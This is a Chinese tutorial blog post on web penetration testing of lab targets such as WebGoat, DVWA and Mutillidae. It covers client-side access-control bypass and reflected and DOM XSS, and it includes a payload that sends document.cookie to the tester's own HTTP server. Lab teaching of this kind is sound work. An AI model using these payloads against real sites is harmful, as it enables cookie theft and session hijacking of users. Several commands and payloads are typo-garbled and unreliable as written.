Web渗透测试—使用跨站脚本攻击

一、XSS的原理和分类

 跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!

XSS分为:存储型 、反射型 、DOM型XSS

1.存储型XSS:

存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

2.反射型XSS:

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。

3.DOM型XSS:

不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

二、使用浏览器绕过客户端控制

   客户端和服务端的处理同时在 web应用中发生。客户端通常用于接收呈现给用户的信息,值得一提的是一些输入验证与认证授权会在客户端执行。当这些验证和认证没有通过服务端再次做检查时,就会遇到一些安全问题。  用Kali Linux的火狐浏览器打开WebGoat(http:/l_/WebGoat/attack,空格处填上OWASP靶机的ip),如果弹出登录对话框,则使用 webgoat 作为用户名和密码。

1、绕过业务层访问控制和使用普通员工的账号登录,进行测试

登陆 WebGoat,点击 Access Control Flaws,转到 LAB:Role Based Access Control→Stage 1:Bypass Business Layer Access Control 

使用tomcat的登陆凭证(tom cat,tom)登陆这个表单,并用F12启用firefox的开发者工具
 

 2、来检查一 下员工表单

可以看到一个值为 105的html标 签:Tom Cat(employee)

 3、服务器有可能是通过 employee_id来分辨员工的

接着转到开发者工具中 的 Network选项卡并单击网页 中的ViewProfile,可以注意 到请求中有一个名为 employee_id 的参数,其值为 105

4、单击ListStaff 返回列表。

(一)更改为开发者工具中的 Inspector 选项卡。

(二)双击标记的值(105)将其改 变为101。尝试一下是否可以通过 改变这个值查看其他用户的信息。

(三)再次点击ViewProfile,可以 发现我们现在获取到了Larry的信息

5、现在,WebGoat给的目标是使 用tom的账户删除tom的个人信 息,注意 ViewProfile按钮

   再次打开开发者工具 中的 Inspector选项卡。 找到ViewProfile按钮对应 的代码,将value改为 DeleteProfile ;可以发现按钮上面的字已成功更改,点击 DeleteProfile后,即可完成目标任务。

三、识别跨站脚本漏洞

      跨站脚本漏洞(XSS)是 web应用程序中最常见的漏洞之一;它在2013年的OWASP Top 10中排名第三( https:// www.owasp. org/index.php/Top_10_2013-Top_10)。XSS 漏洞发生在服务器端和客户端对输入执行弱验证或不进行验证,且输出没有正确编码的情况下。 用Kali Linux的火狐浏览器打开DVWA( http:/l_/dvwa/login. php ,空格处填上靶机的ip),如果弹出登录对话框,则使用admin 作为用户名和密码。

1、DVWA中点 击XSS reflected
2、测试漏洞的第一步是观察应用程序的正常响应,在文本框中填写一个 名称字符串并且点击提交

   在这里填写的是:Bob

Bob

 3、应用程序使用的是输入的字符串

   如果引入一些特殊字符或者数字而不是一个有效的名称字符串,会发生什么呢?试试:◇>或者<'this is thefirst test'>

this is thefirst test

 4、我们可以发现在文本框输入的任何内容都将出现在响应中

    也就是说它成为了响应HTML页面的一部分打开开发者 工具检查页面的源代码来分析它是如何显示信息的。

5、试着在普通输入的后面加上非常简单的脚本代码:
Bob<script>alert('xss ') </script>

 6、F12打开开发者工具,检查源代码,发现脚本代码嵌入了网页得到了执行

 

 四、 利用 XSS 获取 Cookie

    如果目标站点存在XSS 漏洞并且Cookie 并没有开启 http-only 的话,那么它们二者将是Web安全的巨大隐患。利用 击Cookie是一定需要一个服务器的本节就带大家一起来学习如何使用XSS 来获取用户的cookie。启动owasp靶机,从 Kali Linux界面打开终端。

1.、在Kali Linux的终端上运行以下命令来开启 HTTP服务:
python -mhttp. server 88  #打开服务器

2、使用admin作为账号和密码,登录DWVA,并转到XSS reflection

3、在文本框中输入以下内容(_处填上Kali主机 IP地址):
Bob<script>document.write ('<img src="http://__:88/ '+document.cookie+'">');</script>

4、查看终端你会发 现出现如图所示的信息,注意PHPSESSID和security的值。

   打开开发者工具,F12打开,在console中运行 javascript:alert(documen t. cookie),可以印证。(我这里没有显示出来,你们可以自行试试)

五、利用DOM XSS DOM XSS

以这种方式命名,是因为payload是由浏览 器的DOM接收和处理的,这意味着注入的代码永远不会在服务器端运行,并且任何服务器端验证或编码都对这种攻击无效。在本节中,将分析如何在 Web 应用程序中检测和利用此漏洞。 启动owasp靶机

1、浏览器登入靶机IP

that you run it only on the "host only" or "NAT" network in the virtual ,转到 Mutillidae ll l OWASP 2013 | xSS | DOM | HTML5 Storage

 2、尝试设置一个包含 HTML 代码的键值。

添加以下键作为键的新值: Cookbook test<H1>3</ H1>

Cookbook test<H1>3</ H1>

3、如果浏览器解释 HTML代码,则很可能也会执行JavaScript块。

添加 e192.168.11.131 Cookbook test <img sre = x onerror  DoMxss 一个新条目,其中包含以 下键值: Cookbook test <img src=  onerror ="alert(' DOMXSS')">,效果如图所示。

六、总结

XSS的危害

1.网络钓鱼,包括盗取各类用户账号;

2.窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;

3.劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;

4.强制弹出广告页面、刷流量等;

5.网页挂马;

6.进行恶意操作,例如任意篡改页面信息、删除文章等;

7.进行大量的客户端攻击,如DDoS攻击;

8.结合其他漏洞,如CSRF漏洞,实施进一步作恶;

9.传播跨站脚本蠕虫等。

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是使用工具对 Web 应用程序进行渗透测试的步骤: 1. 确定测试目标和范围 - 确定要测试Web 应用程序和相关的网络范围,包括 IP 地址、域名、应用程序 URL 等。 2. 收集信息 - 使用工具收集 Web 应用程序的信息,包括 Web 服务器、Web 应用程序、数据库等相关信息。 - 使用工具进行目录和文件扫描,发现敏感信息和潜在的漏洞。 3. 漏洞扫描和测试 - 使用工具进行漏洞扫描,发现 Web 应用程序中存在的漏洞和弱点。 - 使用工具进行 SQL 注入攻击测试,检查 Web 应用程序是否容易受到 SQL 注入攻击。 - 使用工具进行 XSS 攻击测试和 CSRF 攻击测试,检查 Web 应用程序是否容易受到跨站点脚本攻击和跨站点请求伪造攻击。 4. 身份认证和授权测试 - 使用工具进行身份认证和授权测试,检查 Web 应用程序的认证和授权机制是否安全和有效。 5. 恶意代码检测 - 使用工具检测 Web 应用程序中是否存在恶意代码或后门程序。 6. 日志审计 - 检查 Web 应用程序的日志记录和审计机制,使用工具进行日志分析,发现异常活动和潜在攻击行为。 7. 测试报告和建议 - 撰写测试报告,详细描述测试过程、测试结果、测试发现的漏洞和弱点等,给出建议和建议措施,帮助 Web 应用程序的管理者修补漏洞和强化安全措施。 常用的 Web 应用程序渗透测试工具包括 Burp Suite、OWASP ZAP、Nessus、Metasploit 等,需要根据具体的测试需求和测试目标选择合适的工具。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值